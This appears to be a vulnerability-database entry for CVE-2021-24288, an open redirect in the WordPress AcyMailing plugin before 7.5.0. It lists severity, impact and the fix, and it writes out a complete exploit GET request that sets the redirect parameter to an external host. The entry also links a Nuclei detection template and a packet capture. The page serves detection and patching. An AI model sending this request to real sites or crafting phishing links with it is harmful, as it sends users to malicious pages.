🔙 목록으로 돌아가기

CVE-2021-24288: WordPress AcyMailing <7.5.0 - Open Redirect

TitleWordPress AcyMailing <7.5.0 - Open Redirect
Author0x_Akoko
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.
RemediationUpdate the AcyMailing plugin to version 7.5.0 or later to fix the open redirect vulnerability.
CVSS Score6.1
EPSS Score0.04398
CVE IDCVE-2021-24288
CWE IDCWE-601
Tags cve cve2021 wpscan wordpress redirect wp-plugin acymailing vuln

🔍 Vulnerability Description

WordPress AcyMailing plugin before 7.5.0 contains an open redirect vulnerability due to improper sanitization of the redirect parameter. An attacker turning the request from POST to GET can craft a link containing a potentially malicious landing page and send it to the user.

🌐 HTTP Request

GET /index.php?page=acymailing_front&ctrl=frontusers&ctrl=frontusers&noheader=1&user[email]=example@mail.com&task=subscribe&option=acymailing&redirect=https://interact.sh&ajax=0&acy_source=widget%202&hiddenlists=1&acyformname=formAcym93841&acysubmode=widget_acym HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24288.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24288.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A